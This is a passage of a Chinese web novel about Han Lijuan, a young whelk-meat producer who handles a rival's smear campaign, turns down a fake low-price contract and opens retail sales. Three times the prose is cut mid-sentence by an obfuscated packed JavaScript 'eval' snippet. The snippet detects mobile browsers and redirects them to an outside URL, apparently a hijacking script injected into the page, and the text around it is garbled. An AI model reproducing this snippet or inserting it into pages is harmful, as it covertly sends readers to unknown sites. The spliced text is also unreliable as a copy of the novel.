那里。是，刘婶跟郑大娘当初给了她一份工作，但也就是一份工作，后来的一切，是她靠着自己一点点打拼起来的。 她没想过当初找到的不是刘婶这边，她现在什么样，因为没有经历过的事情，想象无用。 “波螺市场价格混乱的事情我也听说了，知道你们今天为啥过来。婶子，我是感谢你当初给我一分工作的，因此，你们过来我愿意跟你们谈一谈，想的是帮你们想想这件事有没有其他的解决办法。但这不代表我要无条件的帮你们做任何事。” 韩丽娟有些不高兴。 “娟子，她不会说话。”郑大娘看着韩丽娟变了脸色，急忙出来打圆场。“那你帮我们想象，有没有啥办法。 “郑大娘，我也没啥想法，不行也跟着降价吧。。” 其实她之前想着，刘婶他们索性就降价到底，维持工人工资就好，刘婶家有资源优势，她家能弄到大批量低价香波螺原料，多招人，把地端酒店的客户都想办法搞到自己手里，实在搞不到的，联合一到两家作坊，把剩余的小作坊干掉，到时候剩下这几家瓜分市场，联合定价，把价格定在一个即赚钱，又不暴利的区间，如此反复两次，其他作坊就寻找别的赚钱门路了。 但刘婶来找她，想的是走捷径，把风险转移给她，她不接，就用情感压制她。 这让她觉得，刘婶这个人，不值得帮，帮了有风险。 “现在已经七块五了，听客户的意思，想要六块五。”郑大娘叹口气，降价哪里那么好降的。如果要五块五，那岂不是要赔钱了。 “市场就是这样。”韩丽娟干巴巴的说了一句。 她频频的往外望去。 郑大娘看出韩丽娟的意思，她看了看刘婶，刘婶还坐在那里，一动不动。 “咱们走吧。”郑大娘知道，韩丽娟这条路走不通了。 “你这个小姑娘，心太狠了！”刘婶站起来，拎起她拿来的东西。“你就不需要别人帮的时候？”她提高音量。 “我需要过，但是帮我的人不是你。”韩丽娟回怼。 “我就说你记仇，当初我没帮你，所以现在你也不想帮我！”刘婶怒了，这一晚上，韩丽娟终于漏出面目。 什么让他们进来一起商量办法，就是知道如今市场不好，看她们笑话的。 “你等着！” 放下一句狠话，刘婶走了。 “她就是太着急，娟子你放心，我劝她。”郑大娘也是扔下一句话，就急匆匆的去追赶刘婶。 “怎么回事？”隔壁，听到动静的姜美凤一家，赶过来。 “没事。”韩丽娟摇摇头。 “韩厂长，我们经理说有事找你。”第二天一早，韩丽娟给周经理酒店送货后，刚刚准备离开，就被大堂经理叫住。 “哈哈哈，韩厂长，你应该早点来，今天一早，好大一场热闹呢。”周经理看到韩丽娟，放声大笑。“有人可给我透漏消息，你这波螺，卖给我可比市场价贵了一倍呢。” 55. 第 55 章 “是什么热闹？”韩丽娟问，她想应该是跟她有关的，不然周经理不会特意把她叫来。 “早晨刚刚开门,就有人来我们店大厅高喊你的名字，威胁我们的工作人员带他来见我，撵都撵不走。”周经理似乎还在回味刚刚的热闹。“后来还大骂你，黑心商人，成本两三块的东西，翻了好几倍的往外卖。” 周经理说完，饶有兴致的盯着韩丽娟看，想看看她的反应。 早九点多，他们门店刚刚开门，就有人来找他，说有事情跟他说。但，毕竟是陌生人，也没有业务往来，前厅的人不会轻易带人来见他，于是，对方就在大厅大喊大叫，服务人员没有办法，就把他领上来。周经理没看到热闹，但那个人来到他面前，可是没少说韩丽娟的坏话。生意场上，这种背后捅刀子的人，他见多了，但韩丽娟这么一个小工厂，也被人盯上，报复，他觉得有趣。 “那是挺热闹的。”韩丽娟一听，差不多猜到是谁了。 她面色未变，点点头，意思自己知道。 就这。 周经理没能如愿看到韩丽娟变脸，觉得没趣极了。 “聊聊？”他背靠座椅，翘起二郎腿，热闹说完，要说正事了。 “好，聊什么？”韩丽娟明知故问。 “自然是你供应的波螺肉价格，今天我才听说，市场价现在都是六七块了。”周经理对青菜或者常见肉类的市场价格敏感，对波螺肉的市场价格还真不敏感，毕竟供应商少，本身利润也高。 “所以，周经理是想要我降价？”韩丽娟反问。“您觉得，我应该降多少合适？或者，降多少才能达到您的预期呢？” 周经理一时没有说话。降到多少合适？ 五块？六块？还是七块？ 她跟韩丽娟之间的合作很愉快，韩丽娟的产品很好。干净，分量足，不掺假。而且，还有一点，就是他能在这份合作中得到好处。 降得太低，韩丽娟可能不会同意，或者会取消一些优惠，那对他得不偿失。这不是他想要的，但这次必须要低价，怎么个低法，他的想想。 “你看呢。”周经理又把皮球踢回给韩丽娟。 “我是不想降价的。我跟周经理合作一直很愉快，我十分珍惜。但，价格这里，我做不到市场上其他同行的价格。”韩丽娟说。“我是比其他同行的定价高一点点，但，我的成本也高，同时，我的产品不缺买家，别人九块、十块一斤卖不出去，我能。” 韩丽娟知道，今天一分不降不可能，但是就是要互相试探对方的底线。价格合适，韩丽娟不想失去这个客户，毕竟她的“零售”还没开展起来，订单减少，就意味着收入减少。 可如果周经理这边给的价格过低，韩丽娟绝对不能答应。降下去的价格，轻易的就涨不回来。 “我想周经理是能理解我的，毕竟同样的产品，不同的人不同的店，就是能卖不出不同的价格。” 同样一斤波螺肉，韩丽娟比别人贵几块，甚至翻一倍。同样一份海鲜捞饭，周经理的店，要比别人贵三五倍。 “你说的我认同。”周经理点点头。“但今天，总归有人来我们店里大闹一场，我虽然是这家店的经理，但我也只是个经理，这件事我不敢保证不传到我老板的耳朵里，也不敢保证，是以什么样的语境传递过去。但他如果找到我，我这里要有交代，价格差这么多，我不可能知道，无动于衷，并且继续跟你合作。” 诚然，店里的利润跟他的工资挂钩，降低原料成本，就是在提升他的工资，但这里面一进一出，还是目前的这个优惠返利对他有利。 所以，他还是想跟韩丽娟合作的，但他也需要韩丽娟这里适当的降一下价格，以保证他好给自己老板交代。 “感谢周经理认同，周经理说的话我也理解，也明白。”刘婶那边这么一闹，她不可能不受影响。“目前我给贵店的供货价，优等品是十三元左右，不分等级的是九块五左右，优等品我每斤给降五毛钱吧，不分等级的我这次还是不准备降，我看了咱们店里最近的需求，其实还是以优等品为主。而外面市场上的供货商，是没有优等品这个概念的。我这么降价，也是为了贵店着想。” 韩丽娟说完，以为周经理会点头，或者会对价格进行拉扯。不料周经理却说。“优等品不需要降价。” 周经理理解韩丽娟的做法，给的利益也是从酒店出发。但，她不了解他们老板，他们老板会听他关于门店的想法跟思考，但什么优等品，不分等级的产品之类的这些他不会特意的去听这些区别，他要看到最低价，价格很低。 “我要一份7元每斤的合同。”周经理说。 韩丽娟一听，就要拒绝。 “你先听我说。”周经理自然看到韩丽娟的反应。他抬手，示意韩丽娟先听他说完。 “如果你相信我，这份合同，我的年进货量不会超过100斤。”周经理觉得他这个人，虽然是个“奸商”，但也有一些诚信，“你单独设计一款产品，如果你怕我坑你，这份合同，你可以随时叫停。”他用来应付他老板的。 韩丽娟有些明白，但不太懂，而且她觉得这么做，是不对的，她一时不知道说些什么。 “我觉得不应该这样。”沉默半响，韩丽娟还是拒绝周经理的提议。这算不算骗人啊，虽然韩丽娟也不总是说实话，但俩人一起作假，去骗更大的领导，这不对。 “哈哈哈！”周经理见韩丽娟拒绝，哈哈大笑。 他知道，韩丽娟是一个很负责任的人，这种人，对自己的产品很有自信，她也很聪明，一个小姑娘单枪匹马把厂子做起来。但生意场上，她还太“单纯”。 韩丽娟拒绝，周经理一点不意外，她如果毫不犹豫的答应，他反而会心里多想一些。 “这没什么应该不应该的。”周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247914|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经理难得看到韩丽娟迷茫，倒让他想跟韩丽娟分享一些行业经验。“你的那个提议，不能说不好，只能说，你面对的是我，不是我的老板。这中间，隔了一层，好意也变成敷衍。大老板时间宝贵，他要看到的就是价格被我谈下来，至于这个价格，什么样的产品，店里能不能用上，他根本不在意。” “可……”韩丽娟觉得不对，好的产品就是好的产品，不好的就是不好的。她也觉得老板们就是那种听不得好话坏话的人。 至于用其他的产品直接代替这100斤的产品，韩丽娟根本想都不去想，既然世界上没有不透风的墙，那这件事也总归能传出去，这就是在变相砸自己的招牌。 她跟周经理之间问题是周经理想要提成，所以，他们之间的价格是存在偏差的，在他老板眼中，韩丽娟高端品的价格十四块多，普通品价格十一块多。 那跟人家六七快的比起来，是贵了很多。 但她不相信，以周经理的智商，没办法解决这个问题，周经理就是想敷衍了事，用一个看似简单的办法，解决问题。 甚至，周经理觉得还卖她一个人情，因为他没有让她真的降阶，没有给韩丽娟带来损失。 “周经理，您的好意我明白，也十分感激。但我还是不想这么做，不是因为这件事不对，您在行业这么多年，我相信，您能这么做，一定说明，这么做是对的，而且能最快的解决问题。而是从我的角度，第一，我没办法去生产一个7元每斤的产品，在您眼中这个产品可有可无，但我是生产商，它存在，我就要对它负责，要保证它的质量，我无法说服自己，这个产品便宜，随便搞搞。可目前我没有时间人力精力投入到这么一款产品。第二，我还是对我的产品有自信心的，市场现在价格乱，产品质量也乱，可能也会让很多酒店饭店跟着乱起来，但我没乱，我也相信，周经理也不会是跟着乱起来的人。” 韩丽娟说了很多，她想，周经理还是想跟她合作的。她也想跟周经理合作，但如果双方想法不同，最终选择不同，那也没办法。 “你这个小姑娘……”周经理听完韩丽娟的话，原本轻松的表情，难得的慎重起来。 “你让我考虑考虑吧。”周经理想了想，给韩丽娟留下这么一句话。 “好。”韩丽娟起身，她还有很多事情要忙，她不信，刘婶那边就找到周经理这一个店来闹事，今天，她应该有好几场硬仗要打。 周经理这里，她尽量争取。“周经理，未来我准备高端品推出小包装，不知道贵酒店有没有需求。”既然价格的事情说完，韩丽娟也要说一说别得事情。 “嗯？”周经理一听，又来了兴趣。“你先说说。” “我准备推出125克，250克的小包装，但是，收费，每个月包装费30元。” “哈哈哈……”周经理又笑了。“韩厂长，你的产品总是让人提起兴趣。” 56. 第 56 章 本来已经站起来准备送客的周经理，又坐下。“聊聊。” 在菜品用料标准上，每个饭店有每个饭店的标准，大家并不一样。但单个饭店内部统一的，比如一份单人份蛋炒饭是放一颗鸡蛋还是两颗。一碗馄饨几颗，一只水饺的克重。 标准是要做到每个顾客，同样的价钱，享受到同样的产品。但有些标准，在顾客面前无法体现。比如，一份单人份定价18元的的香波螺海鲜捞饭，香波螺肉的用量是125克，就算在菜单上有所标注，但消费者会有所怀疑，就像消费者总怀疑自己点的黄花鱼在后厨被换小了一样，消费者也会怀疑，你如何确定你说125克就是125克。 并不是说，没有小包装，他们店里就没办法做到标准，也不是说，用了小包装消费者就完全打消怀疑。而是推高价产品，在细节上能做到更好，就会让顾客觉得自己的钱，花的值得，从而花的痛快。 周经理在被人来闹过一场后，仍然想要跟韩丽娟合作的最重要原因，是他们店，目前的波螺肉海鲜捞饭已经做成招牌，在形势一片大好的情况下，他轻易不想换供应商。 他太知道，价格混乱就代表质量良莠不济。他不想要市场的差品，来影响店面口碑。但老板那里，价格差的太多，又不好交代，因此他主动选择帮助韩丽娟想解决办法。 没想到韩丽娟拒绝了他，这让他觉得麻烦，于公于私，他还是想跟韩丽娟合作的。但因为这个价格差，他不敢保证老板会被他说服。 在这个节骨眼上，韩丽娟升级产品，那也不是不能做文章。 “门店可以根据自己订单需求，来分配每日125克，250克跟500克数量。2月份，可以给门店免费试用，三月份开始，如果需要工厂这边分装，每个月包装费用30元。” 韩丽娟详细说了一下。“但是只限于优等品。”虽然，很多门店不分等级的产品都是做馅料的，不需要分小包装，但韩丽娟还是加上这么一句，谁知道有没有那么不“友好”的合作伙伴，因为觉得花钱了，不分等级的，也要分包。 “这个不错。”周经理点头。“这样，你给我一天的时间，明天我给你答复。” 周经理似乎想到怎么跟他们老板沟通。 “好，那我等您好消息，跟周经理的合作一直很愉快，我希望一直愉快的合作下去。” 告别周经理，韩丽娟又跑了剩下的几家店。 果真如韩丽娟所料，优等品因为没有竞争对手，所以没有被波及，但是有的门店已经开始考虑不从韩丽娟这里购买不分等级的产品了。 这其中，有两个是跟周经理的店一样，发生了“热闹”。剩下两个是接收到市场降价的消息，虽然，这其中的几家，跟韩丽娟谈合作的是老板自己，当初定下的价格是九块多，十块钱。但他们还是觉得三块钱的差钱，能抚平质量上的差距，考虑换供应商。 “王老板，我知道您不仅仅做酒店，也做海鲜类的生意。”其中一家店，韩丽娟跟老板聊天的时候，突然说道。 “对。”王老板点头，他做酒店，也在县城做海鲜批发。县城里很多市场商店里的冷冻鱼、虾都是他在供货。还有加工好的扇贝。“但我没准备自己做你这款产品，过去不做，未来也不会，我跟你不合作，以后也会找其他的供货商。” 曾经见到韩丽娟这个波螺肉他自己也考虑做过，但觉得难以规模化，需要投入太多人力，最终决定放弃，从韩丽娟这里进货。 “我准备将波螺肉零售化，如果我能做起来，我可以把县里的销售权给王老板。”韩丽娟放饵。“我不是用这个换取咱们酒店供应继续合作，但我也需要王经理帮我一个忙。” “哈哈哈。”王老板笑了。“你这无本买卖做的……” 县里的冰鲜渠道，没人比王老板手里的更多。很多人想分一杯羹，但没有新产品，价格也不占优势的情况下，后来者很难抢走这些渠道跟客户。 韩丽娟想做产品，要么一家家去谈，要么找一个大的经销商，直接解决问题。 其实她也在投机取巧，但，谁会拒绝赚更多的钱呢。 “说说看，需要我帮什么？”王老板问。 “今天来贵酒店耍无赖的人，我想请王老板在业内表个态，这种泼皮无赖，您不会合作。” 韩丽娟说。王老板的酒店虽然没有周经理的大，但王老板在本地深耕多年，年龄也偏大，在本县算得上前辈，说得上话。 她必须按死刘婶的作坊，不能给她喘息的机会，因为今天刘婶那边的做法，太过可恶，让韩丽娟对对方没有一点感情了。 生意场上，不是你死就是我活。你想让我死，我没死，那死的就是你！ “你这个小姑娘，是让我来当这个恶人啊！”王老板什么不懂，韩丽娟让他说，不过就是觉得他权威，而且，对方不会报复到她身上。 这种泼皮，王老板见多了，解决他们不用在业内说什么，只是找个人去她家传句话的事。 “您这是为大家除害”，韩丽娟笑着说。“大家会更尊重您。” “哈哈哈，这个事情，我可以帮你解决，从此行业里没有这家。”王老板点头答应了，来他的店闹，真以为他是那种怕闹的人吗？“但以后还会有别的泼皮，到时候你用什么手段呢，你现在这个规模，在一大推小作坊里，就是靶子，很多人想着拉你下来上位呢。”偏偏她是一个没什么根基背景的小姑娘。 今天这事，但凡是两个本地户，没有一方会这么闹。 “事有缓急，我要先把零售做起来，才能感谢您的帮助不是。”韩丽娟已经有想法了，但要先把零售做起来。 “好，我等你好消息。”王老板相信，韩丽娟应承的事情，一定会做到，虽然他不看好这个零售，但他知道，韩丽娟这个人知恩图报，就算这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252558|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里没办法兑现诺言，也会在其他的地方回报，这样的人，值得他投资。 从王老板这里离开，韩丽娟又去了金店长那儿。 “娟子，目前我还跟我们老板力保用你，因为我信得过你的品质，但是，你也知道，我们是早餐店，本身利润就不高，可能最终，还是会换掉你。” 金店长这边，也跟韩丽娟推心置腹的说了几句。 如果店是自己的，她会用韩丽娟的产品，但店面不是，在价格波动这么明显的情况下，她必须如实的向老板汇报情况，当然，她还会跟老板推荐继续使用韩丽娟的产品，可老板会不会同意，她说不准。品质与价格，不同的店，选择不一样。他们是早餐店，品质上只要保证不是变质，其他的不需要挑剔太多。 “谢谢你，金店长。”不管结果如何，韩丽娟感谢金店长对她的这份真心，最开始，就是金店长给了她机会，她才能一步步走到今天。如果不是金店长，她可能会遇到更多的磕绊，走的不会这么顺利。 金店长这里，是韩丽娟不分等级产品卖的最多的客户，如果这个客户失去，她会有一大半的不分等级产品滞销。 但幸亏金店长帮她争取，这样，就算结果是坏的，她也有一两天喘息的时间，有时候机会就在这一两天。 “现在市场作坊很多，有些人，靠品质和质量斗不过别人，开始用盘外招，这样的供货商，金姐还是远离一些，不然不一定哪天，因为跟你不愉快，耍别的心机对付你。”韩丽娟提醒金店长，有些人，哪怕价格再便宜，人品不行，不能用。 “这我知道。”金丹桂点点头。“倒是你，他们这是明显针对你，今天我听到，县里很多大型饭店，不管是不是你的客户，都被他们闹了一通，经过此事，你怕是在县里没办法好好做生意了。” 开门做生意，和气生财。很多店是怕麻烦的。 “我的生意不好做，他们的生意是做不下去了。”韩丽娟说。“这个撒泼打滚的手段，谁沾上谁怕。” 客户这边的事情解决了，韩丽娟又着急匆匆的去包装印刷厂。 她拿到了样品。正面主色蓝白，中间一个大圈，圈外下半部分围着她想的广告词。背面没有设计，透明的，能清晰地看到里面的产品。韩丽娟感觉很满意。“老板，我要的比较急，能不能明天就拿到包装。” 韩丽娟看完样品，跟店面老板商量。 “咱们现在安排的比较满，估计要两天以后了。”店老板想了想，说道。 “能不能麻烦工人们加个班，或者跟哪个客户调整一下，我可以加钱。”今天是十三，明天上午拿到，她下午出第一批零售产品，然后拿到市里铺货。 争取正月十五，能卖一批。 “咱们以后也要经常合作，老板，你看能不能帮着通融一下。”韩丽娟接着商量印刷厂的老板。毕竟在这里设计的包装，她轻易不会换印刷厂家。 57. 第 57 章 “那我今晚加个班，帮你印刷出来。至于额外的费用，就算了，等你以后用量多了，多光顾我们厂，照顾照顾我生意就好。”老板想了想，同意了。“但今晚送不了货了，要明天。” “谢谢，谢谢。”韩丽娟万分感谢。“那今晚工人们的饭，我来安排。” 一般加班，工厂要预备晚饭的，这突然地加班，印刷厂可能来不及准备，韩丽娟准备出去给买点吃的。 “行。”印刷厂老板笑了笑。“让你破费了。” 看看时间，还算早，韩丽娟骑着摩托车先直奔市里。 她的目标是市场里的冰鲜摊位，以及很多居民区附近的便民商店。商店那边，韩丽娟跟帮他送货的司机沟通过，明天会由他带着韩丽娟跑几家。 所以，今天，她主要是在市场摊位里寻找客户。 “买点什么？”韩丽娟来到一个卖冷冻鱼、虾等冻货的摊位。 卖货大姐看到韩丽娟，赶忙招呼。“看看鱼啊，看看虾呀？买元宵啊？”因为要过十五了，很多摊位都摆上元宵。 韩丽娟打量大姐的摊位，货品整齐，摊位干净。 “准备几个人吃啊？”虽然韩丽娟没说话，但卖货大姐也没放弃，继续问韩丽娟。 “大姐，贵姓呀。”打量一圈后，韩丽娟开始搭讪。 “怎么？”大姐被韩丽娟问愣住了。买货还要问姓名吗？“姓丁。”虽然有些不知道为啥，还是回了韩丽娟。 “丁姐，我看你这摊位挺好，干净，整齐。”韩丽娟夸到。 “卖吃的嘛，就得干净点，脏兮兮的不行，你满市场转悠转悠，就论干净这块，我说第二，没人说第一。”说起这个，卖货大姐嘴角都压不住了。 “看点什么，小伙。”正好这时候，又来一个人。 “看鱼啊，几个人吃啊，准备怎么吃……”卖货大姐问的仔细。 答对完这个小伙，做完这单生意。大姐又看向韩丽娟。“你有事吧？” 她感觉这个人不像是买货的。 “丁姐，你看看我这产品。”韩丽娟从拎兜里掏出还只有真空包装的波螺肉，又拿出外包装样品。 “我这是一款波螺肉产品，带内外两套包装，净含量有250克跟500克的。” 丁姐接过韩丽娟手里的产品打量，这是一袋250克的产品，包装袋上写着建议零售价9.9元。 250克卖9.9元，会不会太贵？ 对虾都没这么贵。但又一想，这是拨好的净品，还带着包装，价格贵一些也合理。毕竟她这散装大虾跟盒装的一斤还差两三块，如果盒装的大一些，一斤差的更多。 “你这进货价多少？”卖货大姐看了看，问道。 “250克进货价5块9一袋，500克进货价10块5一袋，500克的建议零售价是15块8。我们厂现在新货推广，免费铺货。月底你卖出去多少，咱们再算钱就行。” 卖货大姐心里计算，如果按照原价，卖一份250克，能赚4块，卖一份500克，能赚5块3。如果买的话，也是500克的合适。看来主推量大的500克的产品。 前期免费铺货，就是她没有进货成本，卖一份赚一分的钱。 “我这个送货过来就是冷冻的，到时候还会附带一张食谱。”韩丽娟接着说道。 “必须按照你这上面的价格卖吗？”大姐想了想问。 “最低不能低于7.5折。”韩丽娟说。“而且你也要赚钱啊，这种单品走的不是量，价格太低不合适。”韩丽娟说。 “进货价还能便宜吗？”大姐合计。 “那要看你的销量了。”韩丽娟笑了笑说道。“而且，这个价格，已经算不上贵的了。” 工人成本，包装，运输，存储，还有她的利润，以及她未来可能还要在这上面贴上的其他营销成本。 “后天就是十五，如果你现在进货，到时候我可以给你搞一场活动，买半斤送一斤海菜。海菜成本我来承担。” 看丁姐还在犹豫，韩丽娟又下一剂猛药。“十五那天我还会安排一个人过来跟你卖货，但到时候你得让我在你这摊位上打上咱们新品上市的广告。” “你这个呀，真的，怎么过年的时候不来呢，那时候好卖呀。”丁姐觉得这个货过年一定好卖。平时量走的不多的大虾，过年那是一天几百斤的卖。 韩丽娟心说，过年那时候我也没货呀。 “看来丁姐觉得这个产品不错，怎么样，明天我带货过来，咱们十五卖一天，看看效果，你再决定进不进货？” 丁姐点头，没啥好犹豫的，不用自己花钱进货，还有人帮着卖货。她稳赚不赔，卖一袋还赚四块钱呢。“行！你带货过来！” 成功推销一家，剩下的一家也好找。韩丽娟找了两个市场，定下两家。 等买了饭送到印刷厂，看了一会进度，等回到家，已经八点多了。 “怎么这么晚！”虽然韩丽娟给厂里打过电话，说今天会回来晚一些，但她爷爷奶奶还是很担心。“不行你下次出门带着你爷，多少有个人作伴。” 这大冬天，黑灯瞎火的，一个小姑娘，出了事怎么办。 “也就今天，明天就不会这么晚了，没事。”韩丽娟安慰俩老人。“奶，我饿了，有吃的吗。” 晚上在印刷厂她有点饿过劲，吃不进去，这功夫回到家，突然就饿了。 “有，马上就好，给你包的大馅馄钝。”老太太急忙掀开盖着屉布的盖帘。上面整齐的码放这一排白胖的馄饨。 “你等一会，我跟你爷给你煮馄饨去，你先歇一会。” 韩丽娟爷奶去了厨房，韩丽娟一个人合计明后天要做的事情。她拿出纸币，一件件的写下来，偶尔增减，很快，一张纸写满了。 …… 第二天，韩丽娟早早去印刷厂验货，结款。回到厂子，开始安排工人打包。 前两天的货，内包装都已经打包完毕，就等着外包装到来。 目前真空包装机两台，一台负责优等品，一台负责不分等级的，也就是他们要出售到市场的。外包装封口机一台。所以要打包人员仔细工作，千万不能把250克的产品，放到500克的包装袋里。 最后还要安排复检，确认产品包装没有差错。 叮嘱完工厂里的事情，又跟着货车司机去市里，谈了两家商店。今天就把货带过来，签了合同，在店铺外墙粘上大红纸的广告“新到香波螺肉，买半斤香波螺肉，送一斤海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258608|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜，先到先得，送完为止。” 海菜是韩丽娟找两个头巾大婶进的货。 唐姐现在忙她的波螺都忙不过来。 这两个商店韩丽娟都没多留货，一家留了十多斤的产品。 “高婶，黄婶，上车！” 十五一大早，高婶、黄婶也就是紫头巾、花头巾带着紫菜，就到了韩丽娟的厂子。韩丽娟跟她们定了紫菜，还定了人。 要说卖货，紫头巾、花头巾也算高手了，紫菜跟波螺肉上了货车。高婶、黄婶上了韩丽娟的摩托车。 “艾玛，这大摩托一骑，太带派了！”花头巾听了韩丽娟的招呼，立马爬上车。 爬上去之后，跟韩丽娟她奶奶坐火车的时候一样，颠了颠。“这车真不错嘿。” “出息！”紫头巾不慌不忙的上车。“像是没做过车似的。” “你就是没抢我前面，嘿嘿嘿。”花头巾还不知道紫头巾，这就是嫉妒，嫉妒她先上车。 一路风驰电掣，到了市里。 韩丽娟要布置摊位，她拿着跟竹竿，一侧顶端用铁丝做框，将写好字的大红纸广告粘在框上，在将竹竿绑在摊位上，固定好。远远地就能看见“买就送”三个字。 两个摊位不在一处，韩丽娟处理完一处，将紫头巾高婶留在这帮忙，就带着黄婶去往下一处。 等黄婶这边整完，铺好货，也开始上人了。 “买什么，送什么呀？”人群有看着热闹过来的。 “买波螺肉送海菜哈。” “香波螺肉，扒好的，回家化冻后，打开包装就能用。”韩丽娟看人多，顺手打开一袋波螺肉。 这带是化冻好的，倒出来，粒粒分明，干干净净。 “十五也不能只吃元宵啊，闺女儿子回来，不得做点好的，买一斤波螺肉，做馅，还能剩一半，拿葱丝一拌，香毁了！” 花头巾很快进入角色开始卖货。 “今天十五，买点过年没吃过的，好老些东西，过年天天歹，十五还歹，不够吗？半斤9块9，还送你一斤海菜，你上菜市场打听，一斤海菜不得块八毛的呀。” “那，你看看，这还有食谱，你要是不知道怎么吃，回家照着食谱做就行。” “人多，人多你就买一斤，我在多送你点海菜不就完了嘛。” 花头巾跟摊主俩人卖的热闹，话术一套一套的。 “看着不错哈，你买不买？你买呀，那我也买点。” “你给我来一斤，多给点海菜哈。” “不要一斤，我就要半斤，好我回头在来买。” 韩丽娟想到能卖出去一些，没想到，十五这天，生意真的出奇的好。 “还有没有香波螺肉，我听说你们这有，给我看看，就想吃点这个，自己懒得扒。” 甚至还有主动找过来的。 两个摊位，几十斤货，一上午，全都卖光了！ “娟子，刚刚那边商店给我打电话，说你明天能不能给他们送点货，昨天送去那十几斤卖完了。”韩丽娟这边正在收摊，整好火车司机来这边，见到她，第一句就是要货。 “我进货！”丁姐看到这销量，在韩丽娟跟她结完账之后，立马跟她说，就怕说晚一步，没货了。 58. 第 58 章 预定好第二天过来送货，韩丽娟就带着紫头巾花头巾回去。到了厂里，已经下午，下午员工放假，就剩姜美凤在等着韩丽娟的消息。 “怎么样？”看到韩丽娟一行人回来，姜美凤急忙迎上去。这一上午，她一直再想，不知道市里怎么样，卖的到底好不好。 因为今天这个开端，不仅仅代表着前两天积压的货品能购买出去，还代表着他们又找到一条新出路。代表他们不怕丢掉酒店的客户。 娟子跟她说过，如果不分等级产品价格持续走低，未来优等品也会波及。因为市场上次等品价格太便宜，差价太大。 但如果他们能打开零售市场，那么，这个问题对他们来说不是问题，他们不在单一的依赖这些酒店客户。 “卖光了！”韩丽娟还没来得及说啥，花头巾就兴奋的嚷嚷。“这一上午，人毁了去了，就是卖货、数钱，过瘾的。” “这可太好了！”姜美凤也兴奋的拍巴掌。 “高婶，黄婶，这大半天辛苦你们了。”韩丽娟从屋里子拿出四袋元宵。“过节，大家一人两袋元宵。” “哎呀，可不要。”花头巾摆手。“这帮你卖货你都给钱，还有这两天我跟你高婶海菜也都是你帮着卖的，咋还能能拿你的元宵呢。” “两位老姐姐拿着吧，娟子订货的时候就算上你们的份了，你们不要就剩下了。”姜美凤在一旁劝道。 “娟子，过两个月山苜楂又下来了，今年你还能帮着我们卖吗？”紫头巾关心夏天山苜楂的生意。 小唐如今整天忙着给娟子送货，赚的不少。早市四杰就剩她俩了，没趣儿的很。她俩赶海这没啥资源，但山苜楂她俩可能整挺多。 去年有韩丽娟帮着，他们没少赚，今年娟子这么忙，不知道还能不能帮忙。 现在见娟子一面不容易，见到了，紫头巾大婶想着问问正事儿。 韩丽娟合计一下，还有两三个月，山苜楂才上市，“能，到时候我领着你俩把山苜楂卖到市里。”韩丽娟应承。 送走两位头巾大婶，韩丽娟跟姜美凤检查一下厂房，也回家过节。 “今天把存货都卖了，咱们明天开始是不是继续加大生产了？”回去的路上，姜美凤跟韩丽娟讨论生产任务。 “还是正常来吧。”韩丽娟摇头。 韩丽娟没有被今天的销量冲昏头脑，因为是过节，吃的东西很好卖。今天跟十三那天她过去的时候，市场里的人不是一个体量的。十三那天市场里的人悠闲的很，今天人挤人，买东西都要喊着说，不然都听不见，抢不上。 到家后，爷爷奶奶忙着张罗过节，她要去帮忙，被推回来歇着。待不住，索性算账。 年后订单减缓，每日订单在160斤到180斤左右，工人们轻松能够完成。 她每日利润是大几百元。 可因为被刘婶冲击，她不分等级的产品订单比原计划每日减少40斤，几乎丢掉6成。因为要开零售，她并没有让共厂减慢生产。还是按照订单的产量来的。 今天前两天囤积的货全部卖出去。今天上午生产的货，明天堆到四个零售商那里。 目前看，她的利润并没有减少，反而因为零售价格提高，还多赚百十块。 可明天生产的货品呢？后天生产的呢？ 零售跟酒店不一样，一个零售点每天卖掉一两斤都是多的，甚至有时候挂零。单个店铺的销量，绝对没办法消耗她的产能。 但零售有一个好处是，可以压货。人流少的店铺压三五斤，人流多的店铺可以压十斤八斤的，这样，半个月或者十几天送一次货就可以。 如果想维持住生产，那她就要不断地开店铺，把货铺出去。一直开到产能跟销量产生平衡。 大概需要大大小小的店铺二十余家。 不过二十多家，算完，韩丽娟长舒一口气，不多。 但想要规模化，占领市场，就要铺满市里大大小小的店铺，不然，等她把市场做起来，又会有摘桃子的出现。 就像如今县里，各种大小作坊，雨后春笋一般。 可如果铺满这些店铺，她大概需要很多的工人，她的小工厂承担不了，而且她觉得，养几百个工人，工作就是扒波螺肉，这事怎么都透着不对劲。 但目前这个工作，只有人能做，没有机器能做出来。 那就还是要外包，外包如何避免刘婶这样的事情再次发生呢？ 